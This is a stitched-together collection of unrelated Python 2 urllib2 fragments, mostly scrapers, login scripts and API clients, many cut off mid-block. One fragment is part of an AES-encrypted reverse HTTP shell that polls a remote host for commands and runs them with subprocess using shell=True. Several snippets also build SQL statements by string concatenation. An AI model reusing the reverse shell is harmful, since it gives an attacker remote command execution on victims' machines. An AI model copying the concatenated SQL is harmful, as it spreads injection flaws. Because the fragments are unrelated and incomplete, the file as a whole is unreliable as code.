import urllib
import urllib2
values = {"username":"******", "password":"******"}
data = urllib.urlencode(values)
url = "https://passport.csdn.net/account/login?from=http://my.csdn.net/my/mycsdn"
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
print response.read()
continue
else:
print 'Code is', code
#print user_tag, dc_username
#print pwd_tag, dc_password
#print code_tag, code
#print keyid
#print neuid
#print url_base
#print login_url
#print url_login
# 发送登陆请求
body = (('login', 'true'), (user_tag, dc_username), (pwd_tag, dc_password), (code_tag, code), (neuat, ''), (keyid, ''), ('neusoft_key', neuid))
req=urllib2.Request(url_login, urllib.urlencode(body))
# 登录延迟时间
sec = random.randint(wait_login_st, wait_login_ed)
print 'Wait for', sec, 'seconds to send login.'
uplog(log_file)
time.sleep(sec)
u=opener.open(req)
content = u.read()
except Exception, e:
print e
print "Retry in", retry_tm, "seconds."
retimes = retimes + 1
if retimes == retry_total:
print "Too many error, script quit."
openerFactory = urllib2.build_opener
except ImportError:
import ClientCookie
cookieJar = ClientCookie.MozillaCookieJar()
cookieProcessor = ClientCookie.HTTPCookieProcessor(cookieJar)
openerFactory = ClientCookie.build_opener
class ErrorHandler(urllib2.HTTPDefaultErrorHandler):
def http_error_default(self, req, fp, code, msg, hdrs):
print "*** Got an error %d ***" % (code, )
# print self, req, fp, code, msg, headers
return fp
if __name__ == '__main__':
headers = {'SOAPAction': 'Inform', 'Content-type': 'text/xml'}
url = sys.argv[1]
opener = openerFactory(ErrorHandler(), cookieProcessor)
for fn in sys.argv[2:]:
sys.stderr.write("*** Sending " + fn + "\n")
f = open(fn)
req = urllib2.Request(sys.argv[1], f.read(), headers)
f.close()
response = opener.open(req)
sys.stdout.writelines(response.info().headers)
print ""
print response.read()
def getNordVPNPreFetch(vpn_provider):
# Fetch and store country info from the magical interwebz
filename = getAddonPath(True, vpn_provider + "/" + NORD_LOCATIONS)
if xbmcvfs.exists(filename):
try:
st = xbmcvfs.Stat(filename)
create_time = int(st.st_ctime())
t = now()
# Fetch again if this is more than a day old otherwise use what there is
if create_time + 86400 < t:
debugTrace("Create time of " + filename + " is " +
str(create_time) + " time now is " + str(t) +
", fetching country data again")
else:
debugTrace("Create time of " + filename + " is " +
str(create_time) + " time now is " + str(t) +
", using existing data")
return True
except Exception as e:
errorTrace(
"alternativeNord.py",
"List of countries exist but couldn't get the time stamp for "
+ filename)
errorTrace("alternativeNord.py", str(e))
return False
# Download the JSON object of countries
response = ""
error = True
try:
download_url = "https://api.nordvpn.com/v1/servers/countries"
if ifHTTPTrace():
infoTrace("alternativeNord.py",
"Downloading list of countries using " + download_url)
else:
debugTrace("Downloading list of countries")
token = getTokenNordVPN()
req = urllib2.Request(download_url)
req.add_header("Authorization", "token:" + token)
t_before = now()
response = urllib2.urlopen(req)
country_data = json.load(response)
t_after = now()
response.close()
error = False
if ifJSONTrace():
infoTrace(
"alternativeNord.py",
"JSON received is \n" + json.dumps(country_data, indent=4))
if t_after - t_before > TIME_WARN:
infoTrace(
"alternativeNord.py", "Downloading list of countries took " +
str(t_after - t_before) + " seconds")
except urllib2.HTTPError as e:
errorTrace(
"alternativeNord.py",
"Couldn't retrieve the list of countries for " + vpn_provider)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(e.code) + " " + e.reason)
errorTrace("alternativeNord.py", e.read())
except Exception as e:
errorTrace(
"alternativeNord.py",
"Couldn't retrieve the list of countries for " + vpn_provider)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(type(e)) + " " + str(e))
if error:
# Use the existing list of countries if there is one as it'll be pretty much up to date
if xbmcvfs.exists(filename):
infoTrace("alternativeNord.py", "Using existing list of countries")
return True
else:
return False
# Parse the JSON to write out the countries and ID
try:
debugTrace("Parsing the JSON and writing the list of countries")
output = open(filename, 'w')
for item in country_data:
name = item["name"].replace(",", "")
output.write(name + "," + str(item["id"]) + "\n")
output.close()
return True
except Exception as e:
errorTrace(
"alternativeNord.py", "Couldn't write the list of countries for " +
vpn_provider + " to " + filename)
errorTrace("alternativeNord.py", str(e))
# Delete the country file if the was a problem creating it. This will force a download next time through
try:
if xbmcvfs.exists(filename):
errorTrace(
"alternativeNord.py", "Deleting country file " + filename +
" to clean up after previous error")
xbmcvfs.delete(filename)
except Exception as e:
errorTrace("alternativeNord.py",
"Couldn't delete the country file " + filename)
errorTrace("alternativeNord.py", str(e))
return False
def get_map_svg(self):
url = self.url_game() + "?map=svg"
req = urllib2.Request(url)
response = urllib2.urlopen(req)
return response.read() # "<svg>\n ... </svg>"
def getLine(
gameid): # get final money line from vegasinsider.com for future work
# dictionary of name conventions used on the site
teamNames = {
"ATL": "hawks",
"BOS": "celtics",
"BKN": "nets",
"CHA": "hornets",
"CHI": "bulls",
"CLE": "cavaliers",
"DAL": "mavericks",
"DEN": "nuggets",
"DET": "pistons",
"GSW": "warriors",
"HOU": "rockets",
"IND": "pacers",
"LAC": "clippers",
"LAL": "lakers",
"MEM": "grizzlies",
"MIA": "heat",
"MIL": "bucks",
"MIN": "timberwolves",
"NOP": "pelicans",
"NYK": "knicks",
"OKC": "thunder",
"ORL": "magic",
"PHI": "76ers",
"PHX": "suns",
"POR": "trail-blazers",
"SAC": "kings",
"SAS": "spurs",
"TOR": "raptors",
"UTA": "jazz",
"WAS": "wizards"
}
date = "-".join([gameid[4:6], gameid[6:8], gameid[2:4]])
url = u"http://www.vegasinsider.com/nba/odds/las-vegas/line-movement/" + teamNames[
gameid[8:11]] + "-@-" + teamNames[gameid[11:14]] + ".cfm/date/" + date
# spoof an alternate user-agent: works for vegasinsider
# courtesy of stackoverflow
headers = {'User-Agent': "Mozilla"}
request = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(request)
with open("tempout.txt", "wb") as outfile:
shutil.copyfileobj(response, outfile)
html = open("tempout.txt", "rb").read()
# pseudocode very gross
# Jump to VI CONSENSUS LINE MOVEMENTS
# Jump to end of table (header for VI)
# Get following <TABLE> of lines
# Start at last row of this table and work backwards until a moneyline is extracted
txt = html[re.search("VI CONSENSUS LINE MOVEMENTS", html).start():]
txt = txt[re.search("</TABLE>", txt).end():] # get following table (1)
txt = txt[0:re.search("</TABLE>", txt).end():] # get following table (2)
txt = txt.split("<TR>") # break up table rows
gotLine = False
maxRows = round(0.5 * len(txt))
trind = -1
while not gotLine and abs(trind) < maxRows:
try:
txt0 = txt[trind].split("</TD>")
txt1 = txt0[2][re.search("<TD.*>", txt0[2]).end():].strip()
txt2 = txt0[3][re.search("<TD.*>", txt0[3]).end():].strip()
if re.search(gameid[8:11], txt1): # if away team is favorite
l1 = int(re.search("([+-][\d]+)", txt1).groups()[0])
try:
l2 = int(re.search("([+-][\d]+)", txt2).groups()[0])
except: # handles case when money line = 0 bc there is no +/-
l2 = int(re.search("([\d]+)", txt2).groups()[0])
else: # if home team is favorite
try:
l1 = int(re.search("([+-][\d]+)", txt2).groups()[0])
except: # handles case when money line = 0 bc there is no +/-
l1 = int(re.search("([\d]+)", txt2).groups()[0])
l2 = int(re.search("([+-][\d]+)", txt1).groups()[0])
gotLine = True
except: # if this parsing fails, go back a row
l1 = None
l2 = None
trind -= 1
return [l1, l2]
def process_message(self, msg):
"""Send the information from the inverter to PVoutput.org.
Args:
msg (InverterMsg.InverterMsg): Message to process
"""
now = datetime.datetime.now()
serial = self.config.get('inverter', 'serial')
response = None
if (now.minute % 5) == 0: # Only run at every 5 minute interval
if msg.status == 'NO INVERTER DATA':
self.logger.error('Inverter Status Fault. Message:')
msg.dump()
elif msg.aknowledge == 'DATA SEND IS OK':
self.logger.debug(
'Aknowledgement message received: DATA SEND IS OK')
elif msg.id == serial:
self.logger.info('Uploading to PVoutput')
url = "http://pvoutput.org/service/r2/addstatus.jsp"
if self.config.getboolean('inverter', 'use_temperature'):
get_data = {
'key': self.config.get('pvout', 'apikey'),
'sid': self.config.get('pvout', 'sysid'),
'd': now.strftime('%Y%m%d'),
't': now.strftime('%H:%M'),
'v1': msg.e_today * 1000,
'v2': msg.p_ac(1),
'v5': msg.temperature,
'v6': msg.v_ac(1)
}
else:
get_data = {
'key': self.config.get('pvout', 'apikey'),
'sid': self.config.get('pvout', 'sysid'),
'd': now.strftime('%Y%m%d'),
't': now.strftime('%H:%M'),
'v1': msg.e_today * 1000,
'v2': msg.p_ac(1),
'v6': msg.v_pv(1)
}
get_data_encoded = urllib.urlencode(get_data)
request_object = urllib2.Request(url + '?' + get_data_encoded)
try:
response = urllib2.urlopen(request_object)
except urllib2.HTTPError, e:
self.logger.error('HTTPError = ' + str(e.code))
except urllib2.URLError, e:
self.logger.error('URLError = ' + str(e.reason))
if response is not None:
self.logger.info(response.read()) # Show the response
else:
self.logger.error(
'No response from PVOutput site. Aborting PVoutput...')
# our reverse listener port address
port = sys.argv[2]
# except that we didn't pass parameters
except IndexError:
print " \nAES Encrypted Reverse HTTP Shell by:"
print " Dave Kennedy (ReL1K)"
print " http://www.secmaniac.com"
print "Usage: shell.exe <reverse_ip_address> <port>"
sys.exit()
# loop forever
while 1:
# open up our request handelr
req = urllib2.Request('http://%s:%s' % (address, port))
# grab our response which contains what command we want
message = urllib2.urlopen(req)
# base64 unencode
message = base64.b64decode(message.read())
# decrypt the communications
message = DecodeAES(cipher, message)
# quit out if we receive that command
if message == "quit" or message == "exit":
sys.exit()
# issue the shell command we want
proc = subprocess.Popen(message,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
# read out the data of stdout
def soup_text_1(url):
request = urllib2.Request(url)
response = urllib2.urlopen(request)
soup = BeautifulSoup(response, "html.parser")
return soup.text
# Reload sys and encoding to prevent errors
reload(sys)
sys.setdefaultencoding('utf-8')
db = MySQLdb.connect(host="localhost", # your host
user="******", # username
passwd="password", # password
db="database_name") # name of the database
# Create a Cursor object to execute queries.
cursor = db.cursor()
wiki = "http://en.wikipedia.org/wiki/List_of_districts_of_Costa_Rica"
header = {'User-Agent': 'Mozilla/5.0'} #Needed to prevent 403 error on Wikipedia
req = urllib2.Request(wiki,headers=header)
page = urllib2.urlopen(req)
soup = BeautifulSoup(page)
province = ""
canton = ""
district = ""
table = soup.find("table", { "class" : "wikitable sortable" })
for row in table.findAll("tr"):
cells = row.findAll("td")
#For each "tr", assign each "td" to a variable.
if len(cells) == 4:
try:
# Insert Provincia
def __init__(self, filename, isurl, compressiontype, compression,
hasheader, first, namelist, extraurlheaders, **rest):
self.encoding = 'utf_8'
self.fast = False
self.strict = None
self.toj = -1
self.namelist = None
self.hasheader = hasheader
self.namelist = namelist
if 'encoding' in rest:
self.encoding = rest['encoding']
del rest['encoding']
if 'strict' in rest:
self.strict = int(rest['strict'])
del rest['strict']
if 'fast' in rest:
self.fast = True
del rest['fast']
if 'toj' in rest:
try:
self.toj = int(rest['toj'])
except ValueError:
self.toj = 0
del rest['toj']
self.nonames = first
for el in rest:
if el not in csvkeywordparams:
raise functions.OperatorError(
__name__.rsplit('.')[-1], "Invalid parameter %s" % (el))
pathname = None
gzipcompressed = False
try:
if compression and compressiontype == 'zip':
self.fileiter = ZipIter(filename, "r")
elif not isurl:
pathname = filename.strip()
if self.fast or compression or (
pathname != None and
(pathname.endswith('.gz') or pathname.endswith('.gzip'))):
self.fileiter = open(filename, "r", buffering=1000000)
else:
if "MSPW" in functions.apsw_version:
self.fileiter = open(filename, "r", buffering=1000000)
else:
self.fileiter = open(filename, "rU", buffering=1000000)
else:
pathname = urlparse.urlparse(filename)[2]
req = urllib2.Request(filename, None, extraurlheaders)
hreq = urllib2.urlopen(req)
if [
1 for x, y in hreq.headers.items()
if x.lower() in ('content-encoding', 'content-type')
and y.lower().find('gzip') != -1
]:
gzipcompressed = True
self.fileiter = hreq
if pathname != None and (pathname.endswith('.gz')
or pathname.endswith('.gzip')):
gzipcompressed = True
if compression and compressiontype == 'gz':
gzipcompressed = True
if gzipcompressed:
if filename.endswith('.gz'):
filename = filename[:-3]
if filename.endswith('.gzip'):
filename = filename[:-5]
self.fileiter = gzip.GzipFile(mode='rb', fileobj=self.fileiter)
except Exception, e:
raise functions.OperatorError(__name__.rsplit('.')[-1], e)
new_blog_flag = False
new_blog_url = ''
loc_string = '{http://www.sitemaps.org/schemas/sitemap/0.9}loc'
for url in root:
for attr in url:
if attr.tag == loc_string:
if not check_if_exist(attr.text):
# print attr.text
cur.execute("insert into urls (url) values ('" + attr.text + "')")
values = values + attr.text + '\n'
new_blog_flag = True
new_blog_url = attr.text;
cx.commit()
print values
if new_blog_flag:
auto_ping(new_blog_url)
baidu_zhanzhang_url = 'http://data.zz.baidu.com/urls?site=www.lyyyuna.com&token=XXXXXXXXXXXXXXXXXX&type=original'
# values = 'http://www.lyyyuna.com/2015/12/28/robotframework-quickstartguide/'
req = urllib2.Request(baidu_zhanzhang_url, values)
response = urllib2.urlopen(req)
the_page = response.read()
print the_page
print '--------'
for k, v in colName.items():
print k, v
print '<------第一页处理完毕------>'
time.sleep(1)
#处理剩余的页面内容
for i in range(totalNum)[:-1]:
#定义需要post的数据
values = {
'__EVENTTARGET': 'ess$ctr5077$LandSoldList$WebUserPager1$lbtnNextPage',
'ess$ctr5077$LandSoldList$ddlYear': 0,
'ess$ctr5077$LandSoldList$ddlMonth': 0,
'__VIEWSTATE': viewstate
}
pdata = urllib.urlencode(values)
req = urllib2.Request(url, pdata)
pageN = urllib2.urlopen(req)
fhN = pageN.read()
dataN = pq(fhN)
fileNum = str(i + 2)
pfN = open(r'C:\Users\sony\Desktop\test\webfile\pf' + fileNum + '.txt',
'wb')
pfN.write(fhN)
viewstate = dataN("input[name='__VIEWSTATE']").attr('value')
table = dataN('.datagrid-main tr:gt(0)')
#获取每个条目的网络路径
linksObj = table('a')
for item in linksObj:
#values样例
#['ess_ctr5077_LandSoldList_grdList_ctl05_hlnkView',
#'/tabid/3259/ctl/LandSoldView/mid/5077/id/100021805/Default.aspx']
def do_login(self, username, pwd, cookie_file):
""""
Perform login action with use name, password and saving cookies.
@param username: login user name
@param pwd: login password
@param cookie_file: file name where to save cookies when login succeeded
"""
# POST data per LOGIN WEIBO, these fields can be captured using httpfox extension in FIrefox
login_data = {
'entry': 'weibo',
'gateway': '1',
'from': '',
'savestate': '7',
'userticket': '1',
'pagerefer': '',
'vsnf': '1',
'su': '',
'service': 'miniblog',
'servertime': '',
'nonce': '',
'pwencode': 'rsa2',
'rsakv': '',
'sp': '',
'encoding': 'UTF-8',
'prelt': '45',
'url':
'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',
'returntype': 'META'
}
cookie_jar2 = cookielib.LWPCookieJar()
cookie_support2 = urllib2.HTTPCookieProcessor(cookie_jar2)
opener2 = urllib2.build_opener(cookie_support2, urllib2.HTTPHandler)
urllib2.install_opener(opener2)
login_url = 'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.11)'
try:
servertime, nonce, rsakv = self.get_prelogin_status(username)
except:
return
# Fill POST data
print('starting to set login_data')
login_data['servertime'] = servertime
login_data['nonce'] = nonce
login_data['su'] = self.get_user(username)
login_data['sp'] = self.get_pwd_rsa(pwd, servertime, nonce)
login_data['rsakv'] = rsakv
login_data = urllib.urlencode(login_data)
http_headers = {
'User-Agent':
'Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0'
}
req_login = urllib2.Request(url=login_url,
data=login_data,
headers=http_headers)
result = urllib2.urlopen(req_login)
text = result.read()
p = re.compile('location\.replace\(\'(.*?)\'\)')
# 在使用httpfox登录调试时，我获取的返回参数 location.replace('http://weibo.com 这里使用的是单引号 原来的正则中匹配的是双引号# 导致没有login_url得到 单引号本身在re中无需转义
# p = re.compile('location\.replace\(\B'(.*?)'\B\)') 经调试 这样子是错误的 re中非的使用\'才能表达单引号
try:
# Search login redirection URL
login_url = p.search(text).group(1)
data = urllib2.urlopen(login_url).read()
# Verify login feedback, check whether result is TRUE
patt_feedback = 'feedBackUrlCallBack\((.*)\)'
p = re.compile(patt_feedback, re.MULTILINE)
feedback = p.search(data).group(1)
feedback_json = json.loads(feedback)
if feedback_json['result']:
cookie_jar2.save(cookie_file,
ignore_discard=True,
ignore_expires=True)
return 1
else:
return 0
except:
return 0
#url = "http://rt.molit.go.kr/srh/getDanjiComboAjax.do?areaCode=&chosung=&danjiCode=&dongCode=1165010200&fromAmt1=&fromAmt2=&fromAmt3=&gubunCode=LAND&gugunCode=11650&houseType=1&menuGubun=A&rentAmtType=3&roadCode=&sidoCode=11&srhPeriod=4&srhType=LOC&srhYear=2016&toAmt1=&toAmt2=&toAmt3="
# post
url = "http://rt.molit.go.kr/srh/getListAjax.do?areaCode=&chosung=&danjiCode=&dongCode=1165010200&fromAmt1=&fromAmt2=&fromAmt3=&gubunCode=LAND&gugunCode=11650&houseType=1&jimokCode=&menuGubun=A&rentAmtType=3&reqPage=SRH&roadCode=&sidoCode=11&srhPeriod=4&srhType=LOC&srhYear=2016&toAmt1=&toAmt2=&toAmt3=&useCode=&useSubCode="
#############################################
param_dict = dict(urlparse.parse_qsl(urlparse.urlsplit(url).query))
url = urlparse.urlsplit(url).geturl()
url = "http://rt.molit.go.kr/srh/getListAjax.do"
#############################################
print param_dict
print url
req = urllib2.Request(url)
################ POST data
data = param_dict
#opener = urllib2.build_opener(urllib2.HTTPHandler(debuglevel=1))
#the_page = opener.open(url, data=data).read()
data = urllib.urlencode(data)
req = urllib2.Request(url, data)
###########################################
############### chanage header ########################
req.add_header("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0")
req.add_header("Accept", "application/json, text/javascript, */*; q=0.01")
req.add_header("Accept-Language", "ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3")
req.add_header("Accept-Encoding","gzip, deflate")
req.add_header("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
val = ""
try:
RequestUrl = Request["url_ajax"]
except:
print "####### SCENARIO - Plugins - url_ajax #######" + time.strftime('%A %d. %B %Y %H:%M', time.localtime())
pass
try:
RequestData = Request["data"]
except:
print "####### SCENARIO - Plugins - data #######" + time.strftime('%A %d. %B %Y %H:%M', time.localtime())
pass
if RequestUrl != "":
url = "https://localhost/ThiDom/" + RequestUrl
#url_values = urllib.urlencode(RequestData)
url_values = RequestData
full_url = urllib2.Request(url, url_values)
try:
exec_cmd = urllib2.urlopen(full_url, context=context)
sql_update_date = "UPDATE cmd_device set Date = Now() where ID =""" + str(ID) + ";"
cursor.execute(sql_update_date)
except urllib2.HTTPError as e:
print "####### SCENARIO - Exec URL #######" + time.strftime('%A %d. %B %Y %H:%M', time.localtime()) + " Error Scenario Exec url " + e.code + "//" + e.read()
BScenarioExecute = True
else:
val=""
if (Etat != '' and Value == ''):
if (Device_Etat != Etat):
val = str(CarteID) + "/" + str(DeviceID) + "@" + str(Device_Value) + ":" + str(Etat) + "\n"
elif (Etat == '' and Value != ''):
if (Device_Value != Value):
if Type_Device == "Chauffage":
def uploadAttach(self, imageData, fid=48, btname="default.torrent"):
imageId = None
# 上传附件
url = self.forumUrl + "/forum.php?mod=post&action=newthread&fid=%d&extra=" % fid
data = urllib2.urlopen(url).read().decode('utf-8')
pattern = re.compile(r'hash\":\"(.*?)\"', re.M)
hash_list = pattern.findall(data)
print hash_list
# Upload the image
uploadImageUrl = self.forumUrl + "/misc.php?mod=swfupload&operation=upload&simple=1"
refer = self.forumUrl + "/forum.php?mod=post&action=newthread&fid=%d&extra=" % fid
randomStr = "7dd" + ''.join(
random.sample(string.ascii_lowercase + string.digits, 8))
CRLF = '\r\n'
#BOUNDARY = mimetools.choose_boundary()
BOUNDARY = "---------------------------" + randomStr
L = []
L.append('--' + BOUNDARY)
L.append("Content-Disposition: form-data; name=\"uid\"")
L.append("")
L.append("2")
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name=\"hash\"')
L.append("")
L.append(hash_list[0])
L.append('--' + BOUNDARY)
L.append(
'Content-Disposition: form-data; name=\"Filedata\"; filename=\"' +
btname + '\"')
L.append("Content-Type: application/torrent")
L.append("")
L.append(imageData)
L.append('--' + BOUNDARY + '--')
L.append("")
postData = CRLF.join(str(a) for a in L)
req = urllib2.Request(uploadImageUrl, postData)
req.add_header('Content-Type',
'multipart/form-data; boundary=%s' % BOUNDARY)
req.add_header('Content-Length', len(postData))
req.add_header('Referer', refer)
resp = urllib2.urlopen(req)
body = resp.read().decode('utf-8')
print body
bodySp = body.split('|')
if len(bodySp) == 0:
return None
if bodySp[0] == u'DISCUZUPLOAD' and bodySp[1] == u'0':
imageId = bodySp[2]
return imageId
# def ed2k(ed2k_infos):
# try:
# info_json = eval(ed2k_infos)
# except:
# return ""
# info_str = ""
# for m in range(len(info_json)):
# name = info_json[m]['fileNameed2k']
# size = info_json[m]['size_ed2k']
# ed2k = info_json[m]['ed2k'].replace("\\","")
# qqdl = info_json[m]['qqdl'].replace("\\","")
# thunder = info_json[m]['thunder'].replace("\\","")
# info_str = info_str + "[b]" + name +" "+ size + "[/b]\n" + "ed2k下载：[code]" + ed2k + "[/code]\nQQ旋风下载：[code]" + qqdl + "[/code]\n迅雷下载：[code]" +thunder + "[/code]\n"
# return info_str
# if __name__ == '__main__':
# mdb = mysqldb()
# sql_str = "select id,url,name,content,image,btfilename,bbsfid,ed2k from infos where status =1"
# info_list = mdb.selectall(sql_str)
# robot = DiscuzAPI("http://bbs.gudcloud.com")
# robot.login("jacky","helloworld")
# for m in range(len(info_list)):
# update_id = info_list[m][0]
# print update_id
# subject = info_list[m][2]
# message = info_list[m][3]
# file_img = "/www/boma/python/ck180/" + info_list[m][4]
# fid = info_list[m][6]
# img_type = file_img.split('.')[-1]
# img_name = subject + "." + img_type
# img_name=img_name.replace('/','-')
# imageData = open(file_img, 'rb').read()
# imgId = robot.uploadImage(imageData,fid,imgname=img_name,imgtype=img_type)
# btname = subject + ".torrent"
# btname=btname.replace('/','-')
# print btname
# attachId = ""
# if info_list[m][5]:
# file_bt = "/www/boma/python/ck180/" + info_list[m][5]
# fileData = open(file_bt,'rb').read()
# attachId = robot.uploadAttach(fileData,fid,btname=btname)
# else:
# attachId = ""
# message = message+ed2k(info_list[m][7])
# robot.publish(fid,subject=subject,msg=message,imgId=imgId,attachId=attachId)
# sql_str = "update infos set status =2 where id=%s" % (update_id)
# mdb.query(sql_str)
def query(action=None, command=None, args=None, method='GET', data=None):
'''
Make a web call to a Parallels provider
'''
path = config.get_cloud_config_value('url',
get_configured_provider(),
__opts__,
search_global=False)
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(
realm='Parallels Instance Manager',
uri=path,
user=config.get_cloud_config_value('user',
get_configured_provider(),
__opts__,
search_global=False),
passwd=config.get_cloud_config_value('password',
get_configured_provider(),
__opts__,
search_global=False))
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
if action:
path += action
if command:
path += '/{0}'.format(command)
if type(args) is not dict:
args = {}
kwargs = {'data': data}
if type(data) is str and '<?xml' in data:
kwargs['headers'] = {
'Content-type': 'application/xml',
}
if args:
params = urllib.urlencode(args)
req = urllib2.Request(url='{0}?{1}'.format(path, params), **kwargs)
else:
req = urllib2.Request(url=path, **kwargs)
req.get_method = lambda: method
log.debug('{0} {1}'.format(method, req.get_full_url()))
if data:
log.debug(data)
try:
result = urllib2.urlopen(req)
log.debug('PARALLELS Response Status Code: {0}'.format(
result.getcode()))
if 'content-length' in result.headers:
content = result.read()
result.close()
items = ET.fromstring(content)
return items
return {}
except urllib2.URLError as exc:
log.error('PARALLELS Response Status Code: {0} {1}'.format(
exc.code, exc.msg))
root = ET.fromstring(exc.read())
log.error(root)
return {'error': root}
# Fetch web page information
import sys, urllib2
if __name__ == '__main__':
req = urllib2.Request(sys.argv[1])
fd = urllib2.urlopen(req)
print 'Retrieved', fd.geturl()
info = fd.info()
for key, value in info.items():
print '%s = %s' % (key, value)
def get(self):
try:
cookie = 'c_user=%(c_user)s; xs=%(xs)s' % self.request.params
except KeyError:
return self.abort(400,
'Query parameters c_user and xs are required')
logging.info('Fetching with Cookie: %s', cookie)
resp = urllib2.urlopen(
urllib2.Request(
# ?sk=hcr uses the Most Recent news feed option (instead of Top Stories)
'https://m.facebook.com/?sk=h_chr',
headers={
'User-Agent':
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0',
'Cookie': cookie.encode('utf-8'),
}))
body = resp.read()
logging.info('Response: %s', resp.getcode())
# logging.debug(soup.prettify().encode('utf-8'))
soup = BeautifulSoup(body, 'html.parser')
if (resp.getcode() in (401, 403)
or not soup.find('a', href=re.compile('^/logout.php'))):
self.response.headers['Content-Type'] = 'application/atom+xml'
host_url = self.request.host_url + '/'
self.response.out.write(
atom.activities_to_atom([{
'object': {
'url':
self.request.url,
'content':
'Your facebook-atom cookie isn\'t working. <a href="%s">Click here to regenerate your feed!</a>'
% host_url,
},
}], {},
title='facebook-atom',
host_url=host_url,
request_url=self.request.path_url))
return
elif resp.getcode() != 200:
return self.abort(502, "Facebook fetch failed")
home_link = soup.find(
'a',
href=re.compile(r'/[^?]+\?ref_component=mbasic_home_bookmark.*'))
if home_link:
href = home_link['href']
logging.info('Logged in for user %s', href[1:href.find('?')])
else:
logging.warning("Couldn't determine username or id!")
posts = soup.find_all('div', id=re.compile('u_0_.'))
logging.info('Found %d posts', len(posts))
entries = []
for post in posts:
# look for Full Story link; it's the first a element before Save or More.
# (can't use text labels because we don't know language.)
save_or_more = post.find(
href=re.compile('/(save/story|nfx/basic/direct_actions)/.+'))
if not save_or_more:
logging.info('Skipping one due to missing Save and More links')
continue
link = save_or_more.find_previous_sibling('a')
if not link:
logging.info('Skipping one due to missing Full Story link')
continue
story = unicode(post.div.get_text(' '))
if blacklisted(story):
continue
header_div = post.find_previous_sibling('div')
if header_div:
header = header_div.find('h3')
if header and blacklisted(header.get_text(' ')):
continue
# strip footer sections:
# * save_or_more.parent: like count, comment count, etc.
# * ...previous_sibling: relative publish time (e.g. '1 hr')
# * ...next_sibling: most recent comment
#
# these all change over time, which we think triggers readers to show
# stories again even when you've already read them.
# https://github.com/snarfed/facebook-atom/issues/11
if save_or_more.parent.previous_sibling:
save_or_more.parent.previous_sibling.extract()
# this is a generator, so it's flaky (not sure why), so fully evaluate it
# with list() before using it.
nexts = list(save_or_more.parent.next_siblings)
for next in nexts:
next.extract()
save_or_more.parent.extract()
for a in post.find_all('a'):
if a.get('href'):
a['href'] = clean_url(a['href'])
for elem in post.find_all() + [post]:
for attr in OMIT_ATTRIBUTES:
del elem[attr]
entries.append({
'url':
xml.sax.saxutils.escape(clean_url(link['href'])),
'title':
xml.sax.saxutils.escape(story[:100]),
'content':
post.prettify(),
})
entries.sort(key=operator.itemgetter('url'), reverse=True)
self.response.headers['Content-Type'] = 'application/atom+xml'
self.response.out.write(
HEADER % {'updated': datetime.datetime.now().isoformat('T') + 'Z'})
for entry in entries:
self.response.out.write((ENTRY % entry).encode('utf-8'))
self.response.out.write(FOOTER)
def main():
if len(sys.argv) > 1:
global slack_channel
slack_channel = "#" + sys.argv[1]
# read in piped socket as 'data'
if not sys.stdin.isatty():
data = sys.stdin.readlines()
else:
print("You need to pipe in a valid email message")
print("Example: \"cat email.eml | ./thold-slack.py\"")
sys.exit(1)
# create email parser
feed = email.parser.FeedParser()
# read in our stdin into FeedParser feed
for line in data:
feed.feed(line)
# call feed close to create mail object
mail = feed.close()
# get the body of the email as message
message = get_body(mail)
# decode the image file and save
if include_images:
imgfile = get_image(mail)
slack_image_url2 = slack_image_url + imgfile
else:
slack_image_url2 = ""
# determine Slack attachment color
# allows for nice color coding of msgs
if mail['subject'].startswith('ALERT! Host'):
color = thold_alert_color
message = "<!channel> " + message
elif mail['subject'].startswith('ALERT:'):
color = thold_alert_color
if alert_baselines and 'baseline' in mail['subject']:
message = "<!channel> " + message
elif mail['subject'].startswith('WARNING'):
color = thold_warning_color
else:
color = thold_default_color
# build payload (https://api.slack.com/docs/attachments)
payload = {
'channel': slack_channel,
'username': slack_usernmae,
'icon_emoji': slack_icon_emoji,
'attachments': [
{
"fallback": mail['subject'],
"pretext": slack_pretext,
"title": mail['subject'],
"title_link": slack_title_link,
"text": message,
"color": color,
"image_url": slack_image_url2,
"footer": footer,
"ts": epoch_time
}
]
}
try:
req = urllib2.Request(slack_webhook_url)
req.add_header('Content-Type', 'application/json')
except ValueError as e:
print ('URL: Invalid slack_webhook_url defined, please update' +
'with your Slack.com webhook URL')
sys.exit(1)
# JSONify our POST data
postdata = json.dumps(payload)
# POST data to Slack API
try:
urllib2.urlopen(req, postdata)
except ValueError, e:
print ('Invalid slack_webhook_url defined, please update' +
'with your Slack.com webhook URL')
def filter_intermittents(self, summary, log_filteredsummary, log_intermittents, auth, tracker_api, reporter_api):
encoded_auth = None
if auth:
with open(auth, "r") as file:
encoded_auth = base64.encodestring(file.read().strip()).replace('\n', '')
failures = []
with open(summary, "r") as file:
for line in file:
line_json = json.loads(line)
if 'status' in line_json:
failures += [line_json]
actual_failures = []
intermittents = []
for failure in failures:
if tracker_api:
if tracker_api == 'default':
tracker_api = "http://build.servo.org/intermittent-tracker"
elif tracker_api.endswith('/'):
tracker_api = tracker_api[0:-1]
query = urllib2.quote(failure['test'], safe='')
request = urllib2.Request("%s/query.py?name=%s" % (tracker_api, query))
search = urllib2.urlopen(request)
data = json.load(search)
if len(data) == 0:
actual_failures += [failure]
else:
intermittents += [failure]
else:
qstr = "repo:servo/servo+label:I-intermittent+type:issue+state:open+%s" % failure['test']
# we want `/` to get quoted, but not `+` (github's API doesn't like that), so we set `safe` to `+`
query = urllib2.quote(qstr, safe='+')
request = urllib2.Request("https://api.github.com/search/issues?q=%s" % query)
